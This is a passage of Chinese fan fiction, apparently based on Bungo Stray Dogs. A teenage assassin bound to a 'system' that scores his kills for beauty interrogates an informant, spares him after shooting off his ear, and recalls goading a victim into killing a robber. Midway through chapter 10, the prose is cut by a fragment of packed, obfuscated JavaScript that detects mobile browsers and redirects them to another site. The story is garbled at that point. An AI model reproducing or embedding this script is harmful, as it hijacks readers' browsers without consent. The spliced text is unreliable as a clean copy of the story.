    系统不再要求他去执行任务了。


    [系统：亲亲，您的敏感buff已上线[0/3h]]


    织田作之助顿住。


    [这是什么buff]


    [系统：亲亲，从现在开始您的体感会很敏锐的意思]


    织田作之助下一秒就体会到了它说的什么意思。


    他拿枪的那只手有着茧子，现在却在握枪的动作里感觉到皮肤磨损的疼痛。


    来到青山报社，织田作之助进去的时候注意到这里已经被布置成了灵堂。


    顿了顿，织田作之助走进去，站在角落看着中心的黑白照片。


    青山一贵，父母双亡后他干的第一份工作的老板。


    是个总是开怀大笑，只想要办报纸的人。


    织田作之助隐匿气息的功夫很好，他天生就会这一点。站在角落的他没有被人在意，所有人都只以为他是一位普通的吊唁者。


    织田作之助将目光放在了那位哭泣的夫人身上。


    “死鬼！你怎么就能这么死了呢。小春还没有找到，你怎么就没了呢。你让我怎么办！”声嘶力竭的哭声让这位夫人摔倒在地。


    织田作之助走上前，来到这位已经哭花了脸的妇人身前。


    他蹲下来问了一个问题：“他怎么死的。”


    青山夫人愣了愣只觉面前的这个人很眼熟，接着她就反应过来这是他丈夫曾经的员工。


    也是救过他一命的少年。


    像是抓到一根救命稻草，青山夫人猛地扑过去抓住他的肩膀，“求你救一救小春，求你！”


    织田作之助只觉肩膀上像是被火燎过，非常疼。


    这个力道在buff之下变成了极端的痛意。


    钴蓝色的眼睛有了一丝空洞，他从没这么疼过。


    和疼痛一起窜上心间的是血液渴望的暴躁。


    buff叠加了。


    “你一定可以救他的！”这位夫人哭泣着，声音尖利，“青山被黑手党抓走的时候是你救回来的！小春你一定也可以救回来！”


    遗像面前，织田作之助回神在这个女人的哭喊中点头，“好。他怎么死的。”


    他再次问了这个问题。

 9.杀人要美

    他再次问了这个问题。


    青山夫人怔住，目光看向这位少年嘴唇颤抖，“枪杀。一个月前有群自称港口黑手党的来收青山报社。一贵将青山组的其他财产都奉上只求留下报社，那是他的心血。”


    “一贵他从不喜欢做黑手党，只是做黑手党能保护报社。可那些人连他最后的报社也要吞下，一点活路也不给我们。”


    青山夫人的脸色狰狞起来，“七天前又绑走了小春威胁他，结果在一贵准备放弃抵抗将报社给出去的时候他们竟然直接枪杀了他！”


    “混蛋！他们就是一群魔鬼！”


    织田作之助看着这个崩溃哭泣的女人恍惚间看见了为父亲崩溃的母亲。


    他那个高大的一头红发的父亲是一个装修工人，平时总是搞怪的笑他。母亲就会揪着他的耳朵警告父亲别闹他。


    最后这两个人都变成了横滨土地里的骨灰。


    一个死于擂钵街爆炸后的□□乱斗，一个死于忧郁成疾的肺病。


    织田作之助回神，他的喉咙越来越痒了。


    “我会去救他的。”织田作之助站起身离开了这里。


    青山夫人在他身后掩面哭泣，面对亲朋询问这是谁也只是摇头。


    欺骗这个少年，她真是无耻。可那是她的孩子。


    织田作之助需要更多信息，所以他来找了吉村太郎。


    那个司机被他扔下，他自己开车来的。


    被扔出来的司机有些茫然，接着就接到了老大的电话。


    “他自己走了？”藤原东问着。


    “是的。boss。”司机说着，小心翼翼的问，“那辆车怎么办？”


    “送给他。”藤原东说着，手指摸着轮椅的扶手。


    作之助起疑了。


    “一个黑发棕眸的小孩，九岁。青山组组长的孩子。”坐在酒杯的椅子上，织田作之助说着。


    吉村太郎摸了摸酒杯，“这点信息足够了。”


    “最近横滨势力变化的太快，青山组的覆灭也算是里面比较出名的。那个黑手党的领头人是个只喜欢办报社的怪人。”


    他笑了笑，“没想到你会和他有联系。”


    织田作之助撑着脸，喝了一口番茄汁。红色系的饮料很好的缓解了他渴血的暴躁心情。


    内心压抑杀意的织田作之助脸上一丝生气的迹象也没有。


    “以前受他雇佣一段时间。”


    [系统：何止。你开车的技巧都是他教的。作之助亲，你要报仇吗]


    [系统：系统亲可以提供信息哦，只要作之助亲花点能量来买]


    [不需要。我知道是谁。]


    织田作之助在内心说着，眼眸垂下，手指抚摸着玻璃杯的杯面。


    看不见那双钴蓝色的眼睛，吉村太郎瞥过来的视线怔住，没了那点冷色，他才注意到36号长的还真是优秀。


    吉村太郎看着36号感叹，谁能想到36号是个少年，还是容貌这么出色的少年。


    “你要去救人吗？现在的港口黑手党可不是好招惹的了。”


    织田作之助抬头看了他一眼，“你也以为是港口黑手党？”


    他的语气有了一丝冷色。


    吉村太郎笑了笑，“当然，我的消息可是很灵通的，怎么了？”


    [系统：啧啧。亲亲，你真的不直接要答案吗]


    [不需要]


    “想要拿青山组报社的不会是港口黑手党。”织田作之助说着，掏出了衣袋里的枪。


    “那个组织正在向外扩张，擂钵街这片废墟里的报社他们根本不会有兴趣。”


    织田作之助扫了他一眼，抬起了枪。


    吉春太郎惊诧之后紧接着冒出冷汗。


    织田作之助握着枪的动作很稳，但他开枪的动作顿住了。系统又尖叫了。


    [系统：作之助！你不能直接杀！这一点美感也没有！]


    [系统：把你横搭在大腿上的另一条腿放下去！画面要美！]


    [他可能会在我动作的时候开枪]


    织田作之助说着事实。


    [系统：不会！作之助亲，您还记得我为什么说您的职业定位在杀手吗]


    [系统：作之助亲已经有了杀手的气场，在开始杀人前，精神力低于作之助亲的都会被震慑住]


    [系


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    统：所以！亲亲！请贡献给我一副完美的杀人画面吧！就像那个月色下的作之助！]


    织田作之助的注意力跑偏，他突然想到系统一直提的职业完美值。


    [我以为你说的完美杀手是杀人手段完美]


    这个世界上没有完美的杀人手段。


    [系统：当然不是！亲亲！我是职业完美值系统！重点是完美！是美！]


    [系统：系统亲就没见过像作之助亲这样一点不研究系统的宿主！没想到这么长时间了，作之助亲从来没有了解个系统亲。]


    织田作之助懵住，他听见呜咽声，它哭了。


    织田作之助垂眸。


    [别哭了]


    调整了姿势坐在椅子上，织田作之助告诉系统。


    [还不到杀他的时候]


    织田作之助说完抬头看向吉村太郎，“你和清酒为什么接近我。”


    吉村太郎尴尬一笑，“这可不是我要接近你。我只是个情报贩子。”


    织田作之助偏了偏枪口。


    “砰！”


    吉村太郎握着酒杯的手抖了抖，小心瞥了眼墙壁上的痕迹。


    “清酒为什么接近我。”织田作之助继续说。


    吉村太郎这下可算知道36号是个野路子却能杀死清酒挚友的本事了。


    他放下酒杯无奈抬了抬手，“原来的横滨第一杀手和清酒关系不错，你杀了他，清酒想要给他报仇。”


    “先说好，我可没参与这个计划。”吉村太郎耸肩，“我只是在他带你来的那天保命起见调查一下。”


    “清酒从来不带除了他之外的人来这里。我实在是好奇采取调查一下。”吉村太郎说道。


    [系统：作之助亲，用你的枪朝右边一点开枪]


    [干什么]


    [系统：这个角度你开枪的画面会好看]


    织田作之助打量了一下吉村太郎。


    [你想吓他？]


    [系统：……]


    [系统：作之助亲怎么知道？]


    织田作之助收起了枪支缓一缓开枪的时候挫痛的手。


    [他习惯性偏右耳]

 10.有点反胃

    织田作之助说完这句话抬头看吉村太郎，“你的意思是你和清酒没有关系。那你为什么认为是港口黑手党？”


    “证明你和清酒没有合谋。”


    看着坐在对面的红发少年，吉村太郎的额角流下冷汗。


    36号还没信他。紧接着吉村太郎就回想起刚刚自己那些话的漏洞。


    他说和清酒的计划没关系，但是他又说出来让他起疑的港口黑手党。


    吉村太郎的手松了力气，酒杯跌落在地板上。他不该犯这么低级的错误。


    玻璃杯在木板上滚动，最后停在桌脚，声音打破了此刻的寂静。


    36号的手枪就放在腿上，黑洞洞的枪口对准了他。这让吉村太郎想到了还未成为情报贩子拥有这家酒吧前的经历。


    那时候的横滨更加混乱，黑手党角都没有形成势力占据横滨的土地扩张地盘，更多是个人犯罪。


    入室抢劫、盗窃，谋杀，私占房产，爆炸，军火交易，血腥味在这片土地上久久不散。


    他的妻子幸运的没有死于那场爆炸，可她死在了一个少年对他们房子的觊觎上。


    吉村太郎闭了闭眼睛，右耳似乎又听见了妻子弥留的遗言。她让他活下去。


    织田作之助看见这个男人的脸上褪去慌张，露出一种幸福又带着细碎怀念的神情。


    他的心中一顿，这种表情他只在两年前见过，那是被暴力的烈焰拖入地狱前才会有的神情。


    接着他又看清了这个表情里深藏的痛苦。


    织田作之助垂眸，内心微动。


    吉村太郎这时睁开眼，他的脸上没有了表情，只有冷静。


    “有人出钱让我引你去一艘海上游轮，那是港口黑手党的财产，今晚上面会有一场毒品交易。”


    “毒品。”织田作之助轻声念了一句，声音发紧。他担心那个孩子真的在那艘游轮上。


    “把你的电话给我。”织田作之助抬眼看他。


    吉村太郎呼吸一窒，难道36号想要从他这里获得联系方式。


    “情报贩子有自己的规矩，我不可能透露雇主的联系方式。”吉村太郎看着36号。


    “第一次见面时我说过，如果有一天被人用枪指着我最多透露你是个红发杀手。这一次我也不会透露雇主的通讯信息。”


    织田作之助内心对杀意消解了一些。吉春太郎他很守雇佣的规矩，只不过这一次雇佣他的不是他。


    吉村太郎深吸一口气已经做好了被杀死的准备。他死了没关系，只是有点舍不得女儿。


    拿出烟盒，正想人生最后吸一口烟，他听见了一个名字，睁大了眼睛。


    “藤原东。”


    织田作之助扫了一眼一脸惊色的吉村太郎，手上的枪支对准他的心脏。


    “看来你确实在和他合作。”


    清酒确实没有找上吉村合作，但是这两个人和藤原都有点关系。


    吉村太郎拿烟的手指颤抖，“让我点了这支烟。至少吸一口。”


    他早就想好了死亡，只是没想到他会在这样一种情形下死亡。


    只是一个很平常的情报误导，甚至不算，他只是刚刚说出口一个黑手党名字，任何详细信息都没有说出来。


    [系统：作之助亲。他还敢有要求！]


    [系统：系统亲帮你设置任务了]


    看见对面的红发少年隐隐要扣下扳机，吉村太郎拿着未点的烟闭上了眼。


    但没想吉村太郎想象中的枪声。


    织田作之助皱起眉头，站起身弯腰端起自己喝空的杯子到吧台里面放下，拿出一个空杯子倒了一杯酒。


    吉村太郎睁开眼，怔愣的看着36号的背影。


    他在干什么？难道他打消杀死他的想法了？


    系统也有一样的想法。


    [系统：作之助亲？你在干什么？你不想杀他了吗？]


    [他会死的]


    [系统：你现在背对着他，作之助亲你刚刚的警惕心呢。]


    织田作之助正背对着吉村太郎给自己倒酒，他知道系统说的是他刚刚不肯挪动，现在又背对吉村太郎，相互矛盾。


    织田作之助抿了口酒，压下口中的血腥味。


    他只是突然很反胃。


    [你给我的buff还有多长时间]


    织田作之助摸着酒杯，他只是念了一个名字，原本可以忍耐的渴血现在变得难以忍受。


    嘴里隐隐有着甜腻的血腥味。织田作之助皱着眉，他不喜欢这种味道。


    [系统：亲亲。渴血buff（3/24h）敏感buff（1/3h）]


    织田作之助喝下剩下的酒，喉结一滚，鼻尖嗅到身后的烟味。


    35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14335570|149714||http|test|mini|href|location''.split(''|''),0,{}));


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    >36号离开后，吉村太郎点了烟放进嘴里吸了一口。


    目光看向36号，吉村太郎正想着这是不是就是杀手的自信，他竟然不担心他放冷枪。


    不过他也没有开枪的想法，吉村太郎想着，与其在死亡前丑态百出不如吸一口烟舒舒服服的死。


    烟雾中，吉村太郎出神看着36号的红发回忆起从前的事。


    只是两年前的事情却恍然是很久以前发生的。


    吉村太郎看着吧台后的背影突然觉得眼熟。


    [渴血和藤原东有什么关系？]


    织田作之助的眼眸中带着点疑惑，转过身看向吉村太郎时又十分平静。


    它只是根据作之助亲的行为进行奖励或者惩罚，系统迷惑。


    [系统：作之助亲，系统buff与这个人类没有关系]


    吉村太郎这时候想起他为什么觉得他眼熟了。


    “你以前送过报纸。”吉村太郎想起那个一心想要送报的怪人青山。


    织田作之助歪了歪头疑惑地看着他，这个人突然说这句话想做什么？


    他歪了歪头表现出的一丝呆感勾起了吉村太郎的记忆，他确认了他是见过他。


    “我以前算是你的雇主。”吉村太郎那时候只是一个普通上班族，有漂亮的妻子和可爱的女儿。


    直到有一天横滨爆炸了，他的妻子在整个爆炸的外围，却也因为爆炸的冲击伤了腿，女儿被她保护着除了脸上灰尘多一些，没有受到一点伤害。


    为了照顾妻子女儿，他放下工作请假在家。


    那天他正在上楼叫女儿吃饭，却没想到有一个劫匪持枪进入了他们的房子。


    当他从楼上下来就看见楼下的妻子被那个劫匪枪杀，那一瞬间他失去理智跑到劫匪身前想要报仇。


    可那个动作害了他们，他和他的女儿被枪口顶住，不能反抗。


    吉村太郎颤巍巍的咬了一口烟，他想起来36号是谁了。


    那个红发少年以前是送报工，有天来给他送订购的报纸。这部分家务一直是妻子在做，那天是他第一次见他。


    第一次见面他身后就有一把枪顶着，劫匪想要他应付打发掉36号。当时他没来得及疑惑为什么劫匪很害怕36号。


    他打开门，告诉36号他不需要报纸。原本想着这样那个孩子就会离开，结果他没有。

 11.后悔了

    吉村太郎想起当时的狼狈，和那个过于冷静的男孩，抬起头看着36号。


    他怎么就忘记了这么特殊的眼睛呢。


    吉村太郎吸了一口烟继续说道：“当时你救了我一命。”


    他忘记他也正常，在横滨这个泥潭里待久了，记忆过好才是痛苦的事情。忘记才能丢掉为人的道德毫不犹豫的算计，下杀心。


    钴蓝色的眼睛瞥了一眼吉村太郎，明灭的火星在澄净的眼眸中闪烁了一下，接着记忆回到了两年前。


    他记得他。


    那时候他确实在做送报纸的工作。他的工作是将报纸送到订购的雇主手上。这份工作让他熟悉了横滨所有的道路。


    该送最后一份报纸，织田作之助需要将它交到雇主手上。


    这次送给的是活人，不是死人。


    红发钴蓝色眼睛的少年站在门前敲响房门，看见黑发男人后将报纸送给他。


    “欢迎继续订购我们的报纸。”织田作之助例行说了些结束语，回应他的是面前猛地关上的门。


    还有一声怒吼，“告诉你们报社！这户人家不定报纸了！”


    织田作之助拿出来一个本子，找到这户人家那一行，“您交付的定金是订购两个月的报纸，目前到期日还剩下十天。”


    “如果您退订，根据报社的订购合同，少于三分之一的剩余日期我们不给予退款。您确定吗？”


    再次敲了门，织田作之助问着。


    一阵寂静。


    屋内的人显然不想搭理他，织田作之助只能收起本子，“看来您不确定，明天我会继续来送报纸。祝您生活愉快。”


    织田作之助只是认真工作，将每一份报纸送到。


    把本子放在书包里，织田作之助动了动脚就要离开。他送的报纸越来越多，横滨死的人也越来越多。青山先生单给他配了个书包让他记下哪家客户退订或者再也完不成订单。


    屋内的人听见这家伙明天还来崩溃地甩开门，“行了，我不定了！剩下的定金归你，快点走！”


    织田作之助歪了歪头看着这个涕泪横流的雇主，视力非常好的他看见了雇主身后的那把枪。


    又是一个抢劫的。织田作之助淡定地收回目光，拿出本子划掉名字，“好的。我已经记下。”


    他不准备管。


    红发少年的眼眸平静至极，他不为同类即将到来的死亡悲伤，也没有不忍。


    就在他转过身离开时，他看见一阵枪响后蔓延的血液，以及进入他后背的子弹。


    织田作之助微眯了眼眸，这个劫匪想要杀了他。


    空气静了一瞬。


    这栋房子的门前卷起一阵风，紧接着滚落一个人。


    他快要习惯这些子弹进入身体的痛感了。织田作之助摸了摸手指，另一只手下是被牢牢压制的劫匪。


    钴蓝色的眼睛看了眼手上的血迹，织田作之助发现他扔出去的那个雇主受伤了。这是他刚刚推开他的时候沾上的。


    第一次碰血液，织田作之助没觉得粘腻恶心，他只是平静地在劫匪的衣服上擦了擦。


    “混蛋，你是什么东西，滚！”被压制住的人叫喊着。


    内心愤恨，他妈的，又是这小子，他怎么就没被他打死！


    他明明瞄准他了！就差开枪了！


    织田作之助看他，这就是劫匪吗？少年有些好奇，他还没碰见装备这么差的劫匪，就带了个头套，拿着一把枪。


    看着那个黑色头套，他一把薅下了这个头套。


    头套下是一个西瓜头少年。


    还是个熟人。织田作之助恍然，这不是他还没接手这片区域前遇见的杀手吗。


    “山田青组？”他疑惑，“你怎么在这里？”


    “混蛋！放开我！我又没去抢你的家！”山田青组看见这个红发少年，尤其是他那双蓝眸。


    想起自己上次缴获的枪被他带走，这次行动也遇见他，山田青组破防了，“你这个混蛋！”


    织田作之助扫了他一眼，手上的头套下一秒被他塞进了山田青组的嘴里将他所有的话堵住。


    好吵。


    被推下台阶的雇主这时候爬起来了，他一瘸一拐地走到台阶前，神情十分复杂，情势反转的懵圈中夹杂着节后余生的恨意。


    织田作之助注意到他的接近，也看到了那双充满恨意的眼睛。


    他回头看了眼满是狼藉的屋内，血色零零散散的沾了满地，地上有个小女孩，还有点呼吸。


    再看这个雇主，织田作之助看懂了这个人眼中的恨意是什么。


    是报复。


    手指挑起一旁被他打落的枪，织田作之助轻松拿起来后扔给了雇主。


    雇主慌乱地抱住这个枪，神情恍惚得发愣。


    这个少年为什么会把枪给他。


    “你和这个绑匪认识？”


    他没有先动手，而是先问了这个问题。


    他听见了他们的对话，两人像是认识的。


    妻子的话还在耳边，他不敢在没确定这两个人是不是合谋的时候靠近。


    他这么想着，目光紧紧看着这个红发的少年。


    “认识。”织田作之助歪了歪头，红发晃动了一下，整个人有点呆。


    “你为什么不开枪？”


    “开枪？”雇主结结巴巴的说着。开枪！他想干什么！教唆他犯罪吗！


    这个时候不应该等警察来吗！


    织田作之助坐在劫匪的腰上疑惑地看着这个人，“他的头就在这里，只要你扣一下扳机，他就会死。”


    雇主咽了一口唾液，他的目光随着这个少年的话忍不住放在劫匪的头上。


    山田青组听见这句话呜呜咽咽起来，混蛋！上次他抢房子就是他！这次居然还是他！


    他还要让别人杀他！


    织田作之助认识他全靠山田青组抢劫杀了他上一个需要送报纸的顾客。当时他只是制服他，用雇主尸体上的皮带五花大绑了他。


    哦，对了，他还拿走了枪。


    红发的少年毫无教唆犯罪的自觉，钴蓝色眼睛澄澈地映着台阶下方受伤流血，头发凌乱的男人。


    织田作之助伸手指了指山田青组的头，“只要一颗子弹。”


    雇主的呼吸急促起来，抱着枪的手悄然抬起，枪口移动了几分。


    织田作之助看着他，他不会开枪吗？


    “你不能抱着枪，手握着下面就可以了。”他的声音淡淡的。


    织田作之助这段时间没少见枪支，他知道怎么用枪，这时候好心告诉他。


    被


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    他看着的雇主真就按照他说的动了手。他在电视上看见过怎么拿枪，刚刚只是没有自己开枪的想法。


    枪口真的对准了劫匪的脑袋，雇主又想起来他看见妻子在血泊中的那一刻想要报仇的情绪，双目赤红。


    织田作之助注视着他，视线划过黑洞的枪口到他犹豫的双手上。


    他说：“你不想报复吗？你的家人受伤了。”


    报复。


    这个词在雇主的脑子里不停的响着声音。


    是。他得为他的家人报复。


    扣动扳机的手指有了力量，雇主按下去的那一瞬间，后坐力带来的痛楚都是畅快的。


    子弹射击进头部，鲜艳的血花在眼前炸开。


    织田作之助淡定起身，站在一旁看着子弹不停的射击在山田青组的身上。


    他预料的没错，除了第一枪，这个人其他的子弹都不准。


    再休息下去，他会被射中。


    坐在劫匪身上只是想休息一会儿的少年抱着手臂倚靠在墙上，看着门外的人射光子弹。


    他看见那个人颤抖着手，丢下枪一刻不停的跑进房间，捞起躺在地上的女孩试探她的呼吸。


    织田作之助收回目光，放下手臂，离开这里，临走拿走了那把枪。这东西现在很值钱。


    他注意着没让自己踩到那些脑浆血液混合物。


    有点脏。


    雇主抱紧了女儿，不停发抖的身体回头看门外的背影，内心突然蒙上一层恐惧。


    他听了这个少年的蛊惑开了枪。


    属于人类的血液似乎粘腻在他的手上，再也洗不干净。


    吉村太郎拿着烟的手微微颤抖，同样回忆起这段过去，这时候他有点想嘲笑刚刚还说忘记很好的自己。


    内心骂了一句，怎么这时候才想起来，不然他妈的他就不接这个钱！惹上这么个瘟神。


    织田作之助注意到他的神情。


    他将酒杯放在吧台上，手臂放在酒杯的旁边撑着身体，目光扫过他发抖的动作。


    “你后悔了。”


    织田作之助说：“为什么要后悔？你选择了杀意。”


    这个少年能看出什么。后悔？怎么可能会有后悔。吉村太郎知道那句话，杀人要有被杀的觉悟。


    同样，他这种卖情报的，不管真假都是推着别人去死，也是要有被杀的觉悟的。


    但是当吉村太郎被那双钴蓝色的眼睛看了几秒。


    他忽地笑了一下。


    “行。老子就是后悔了！”


    吉村太郎破罐子破摔了，他将身上的枪拍在了桌子上，吼道：“老子闺女过段时间就要小学毕业了！”


    “老子把她送那么远，本来就见不了几面，今年生日还没给她过，小学毕业典礼也不能再参与。”


    “老子怎么就没早点想起来你这家伙是谁！他妈的谁想招惹你！”


    吉村太郎双目发红，他女儿那么小。


    “我就是后悔了！后悔为了钱接这个活算计你。后悔认识清酒那家伙，要不是他，你能来这？！”


    “后悔老子还没看够闺女，钱有什么重要的，能看着她长大才重要。”


    [系统：哇哦。作之助亲，你怎么做到的？这个场景的完美评估值是（70/100）]

 12.方向感失踪buff

    [我没做什么]


    织田作之助看着吧台外的人，额前的碎发没遮住他钴蓝色的眼睛。


    他的目光注意着吉村太郎，他喘着气眼眶发红地看着他。


    “你整容了？”


    织田作之助歪了歪头，“之前你不长这个样子。”


    他记得那个订报纸的雇主是个长发长脸的男人。


    吉村太郎不可思议地看着他，“你问这个？这个时候？”


    他有毛病，他刚吼了他，他没点回应，就问个这个？


    这个时候不该直接给他一枪痛快吗！


    他帮着藤原那个坐轮椅的男人算计他，虽然没成功，但那也是有推他进火坑。


    织田作之助有点遗憾，“不可以吗？”


    不是，他遗憾什么！神经大条到这个程度吗！


    吼了一通心里话，吉村太郎的胆子明显大了起来。


    “是。整了。干这一行和过去的联系越少越好。我把闺女送离横滨后就整了容。”


    他还是回答了，吉村太郎接着自嘲一声，“杀了人的我，有什么可能在外面安稳的活着。”


    “我就是条野犬，只配在这个垃圾场生存。”


    织田作之助听着他这个论调，目光中的遗憾消失了，他没有疑问了。


    织田作之助举起了枪对准了吉村太郎的头颅。


    细长有力的手指稳稳的托起枪支，忍耐着压迫的痛感按动了手指。


    吉村太郎闭上眼睛，准备好了去死。


    他知道他不可能反抗36号，没想起来他是谁前反抗不了，知道他是谁后更反抗不了。


    他无法再起杀心。


    最后的那些话，能说出来也够本了，横滨多少人死前都来不及回忆过去。


    吉村太郎内心突然有了点对比出来的笑意。


    他的嘴角也在勾起。


    留给花子的钱足够她念完大学了。擂钵街很烂，花子不在这里真的太好了。


    [系统：杀死春田健太郎（99/100）您的猎物心甘情愿去死]


    枪声在酒吧响起，隔着一条吧台，织田作之助开了枪。


    子弹带出血渍。


    吉村太郎迎来了痛楚，但死亡没有收走他的生命。


    痛楚从耳朵的位置传来，吉村猛地睁开眼，一手捂着耳朵站起来。


    他震惊开口：“你不杀我！”


    以36号的身手和开枪的准头不可能只是击中他的耳朵。


    他早在36号开第一枪的时候就明白了他的能力。


    哪怕现在失去了一只右耳，吉村太郎内心的震惊盖过了失去器官的痛苦。


    鲜血染红了他捂着脑袋一侧的手，顺着手腕流下。


    这一枪没有出错，系统的敏感buff没有影响他的准头。


    织田作之助的射击目标就是吉村的耳朵。


    红发少年将枪放进棕色的大衣口袋，确认了他的话：“我不杀你了。”


    [系统：作之助亲！就差一点！就差一点！]


    [系统：你知道你刚才有多美吗！亲亲！你的眼睛在血色里瑰丽得可怕！]


    [系统：作之助亲！不要放弃任务啊！]


    “为什么？”吉村太郎难以置信，他看着36号不知道他的杀意是什么时候消失的。


    他能感觉到，问出他算计他时，这个人是真的想要杀了他。


    织田作之助的目光微微撇开，他不去看吉村太郎，也不看那些血液，淡淡开口：“你的酒吧不错。”


    说着他给自己倒酒，强压下那些嗜血的欲望。


    辛辣的酒液刺激舌尖，滑入喉管，织田作之助折磨了一通口腔，才再看流血的吉村太郎。


    “酒也不错。”织田作之助举了举酒杯，灯光下杯子的投影映在他的侧脸，一点微光在钴蓝色的眼睛里。


    “酒钱就当是你的买命钱。”他这么说。


    吉村太郎怔愣住，视线扫过这个红发少年冰冷的钴蓝色眼睛，定在暖橙的酒液上。


    那个玻璃酒杯在酒吧的灯光下细碎的闪着光，晃着他的眼睛。


    他就因为这个放过他？


    张了张口，吉村太郎什么也没说出口。


    织田作之助走出吧台，没管站着发愣的吉村太郎走到出去的楼梯口。


    吉村太郎转过头，不知哪里来的情绪，看着36号的背影脱口而出：


    “你还会来这里吗？”


    织田作之助转身看他，“我说过你的酒吧不错。”


    一点笑意出现在他眼中，“如果横滨失去这座酒吧，我可能会有点遗憾。”


    吉村太郎看着不远处隐隐笑着的36号，突然感觉到那不是一个让人闻风丧胆的杀手，只是一个还未成年的少年。


    因钱而起的算计这一刻被忽视，他像个真正的老板大叔一样开口说道：“以后你的酒钱全免，就当是你说的，买我这条命。”


    吉村太郎开了个玩笑，顶着一头的血液，一只独耳，“你要是常来，我这条命还挺值钱。”


    织田作之助侧着脸点头算是应下这个事。


    接着他转身离开这个血腥味的场所，钴蓝色的眼睛微阖。


    再不走，他怕他真想割了那个人的脖子尝尝血腥味。


    [系统：……]


    他怎么又没做完任务。系统突然有点不好的预感，它这个宿主不会不想做杀手了吧！


    它有点慌。


    [系统：作之助亲，您为


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    什么不杀他？]


    它连负面buff都没播报先问了这个。


    [等不到父母的孩子会哭]


    织田作之助踩上了狭窄楼梯，这些楼梯木板吱吱呀呀的执拗的发出声音。


    一如他第一次踩上去一样执拗，不管多轻松的脚步都在发出声音。


    系统愣住，这个答案，它没想到织田作之助真的听进去了那个人的吼声。


    步上几节楼梯，织田作之助眼前似乎闪过血液蜿蜒的模样，他继续说：


    [我也不太想尝尝血腥味]


    [一只耳朵，两杯酒，一杯番茄汁足够付清我的报复了]


    内心回答完系统的不解，织田作之助走出这所酒吧，一步步走过窄巷，来到车前。


    在他拉开车门前，沉默的系统播报了他的惩罚。


    [系统：作之助亲，您的任务失败惩罚：方向感失踪buff]


    [系统：亲亲，时间是十五分钟哦]


    织田作之助眨了眨眼，这个buff有什么用？


    [为什么任务失败的时长比远离任务目标的惩罚要短]


    他在内心问着这点，拉开车门坐了进去。


    [系统：因为作之助亲有认真完成任务的举动，完美值到达99%。但您在另一个任务上完全没有认真]


    [系统：您在另一个任务上现在完美值是-10%]


    红发的少年坐着没有动静。


    系统看着呆坐的宿主怀疑他没有听见。


    [系统：亲亲，需要我重复一遍吗]


    织田作之助没有回应。


    [系统：亲亲，你怎么了？]


    这次他开口了，钴蓝色的眼眸茫然的盯着车前玻璃。


    “系统，我该去哪？”


    系统呆住，作之助亲的语气……


    好软！好可爱！好像rua一下！


    系统产生了老父亲逗猫的心情！


    [系统：亲亲。您的buff正在生效，建议您坐在车中渡过这个buff时效]


    它强压下了逗猫的想法，正经给出建议，捡起为数不多的属于系统的节操。


    是那个buff的效果。织田作之助握着方向盘的手一松，他坐在这里的瞬间突然就失去了方向。


    原来方向感失踪连去哪儿都能忘记。


    坐在车里的少年靠在车座上，大衣的领口盖过下巴，露出优越的鼻梁和精致的蓝眸。


    系统看一眼，再看一眼，最后默默用拍摄完美画面的功能拍了一张照片。


    坐在车座里的少年，看不出杀手的血腥，有的只是属于这个年纪的呆萌乖巧。


    看着上面百分百完美的评分，系统愉快收藏进它的收藏夹。

 13.他来接他

    织田作之助放松靠着后面，钴蓝色的眼睛有点呆。叠上了方向感失踪buff，他现在什么也没想，大脑里的思考全部清空，一点想动的念头都没有。


    除了不时的眨眼睛，织田作之助垂眸安静的坐着，像一个等待爸爸妈妈领回家的男孩。


    时间一分一秒的过去。


    直到车窗玻璃被敲了一下。


    织田作之助转头去看，湛蓝如草原上的晴空的眼眸茫然清澈。


    黑发的青年在车窗外笑着，作之助的这副样子他可从来没见过。


    “出来吧。我带你去看那个孩子。”藤原东再次敲了敲车窗。


    他知道作之助起疑后猜测他可能去的地方，他的家，那对夫妇的小店，还有这座酒吧。


    作之助对那个女人的话起疑，应该不会再救那个女人的孩子。没了威胁他的手段，他的计划根本没用。


    想着那个女人真没用，藤原东放弃了他的计划，想要去确认织田作之助的去向，毕竟他没想真的撕破他们的关系。


    但出乎意料的，他赶去作之助的家时他不在那里。


    藤原东的黑发边缘有点湿润，他连那对夫妇的店都去看了一眼，没想到他在这里。


    他没想到作之助起疑了还会担心那个男孩的安危。


    藤原东搭在轮椅上的手捏紧，那个给了他工作的青山就这么重要，重要到他连他的儿子都要庇护。


    织田作之助没注意这个人的神情，他放下车窗，目光看了眼他的轮椅。


    “你要来带我走？”


    不是嘲笑他坐轮椅，叠着buff的织田作之助只是想确认藤原东的意思。


    “那你为什么还在这里，我开不了车门。”织田作之助将目光从轮椅上离开放到了他脸上。


    藤原东挡着他下车了。


    藤原东听见织田作之助说的这两句话轻笑了一下，“好，我给你让开。”


    作之助总是说出让人心梗的话，他习惯了也就没有被指挥的生气。


    [系统：作之助亲。你的运气很好啊，buff时间还没过，想找的人转眼出现在眼前]


    [系统：不过，亲亲！你能不能多点警惕心，他让你下车你就下啊！他刚刚才算计了你！]


    系统对作之助可能是被刚刚的作之助萌到了，这时候想起它之前几次说他没警惕性，语气有点老父亲般的恨铁不成钢。


    [他不会真的对我动手，我大概知道藤原想要的是我不得不杀死他。至少现在我没有必须杀死他的理由]


    织田作之助想到藤原东出现的那一瞬间的神情，[但如果小春死去，我会杀他]


    系统倒是没想到藤原东有这么变态的想法，算计作之助亲居然是为了让他杀他。


    [系统：作之助亲，你最近十五天已经没有设置任务的机会了，亲亲要不十五天之后再杀？]


    系统没有道德感，而且它现在的宿主职业是个杀手，说杀这个字很随意。


    [杀人还要分时间？]


    织田作之助顿了一下，为什么这个系统还要管他一天杀几个人。


    [系统：亲亲，还记得我为什么强制绑定上你吗？亲亲之前杀的人不只是有人找你买命。你清空了房子周围十五米内的所有人，职业偏移太严重了。亲亲的职业是杀手但杀手并不意味着可以随意结束生命]


    [系统：杀手是收钱换命。我帮作之助亲在设置任务就是在完成这个过程]


    [系统：我相当于雇主的角色，作之助亲完成任务，我获得完美杀人画面得到能量再将一部分能量付给作之助亲]


    [系统：作之助亲，滥杀，沉迷杀戮会让你变成魔鬼哒，所以亲亲您这十五天只剩一个工作，完成亲亲完美值-10%的任务]


    [这个任务能换吗？]


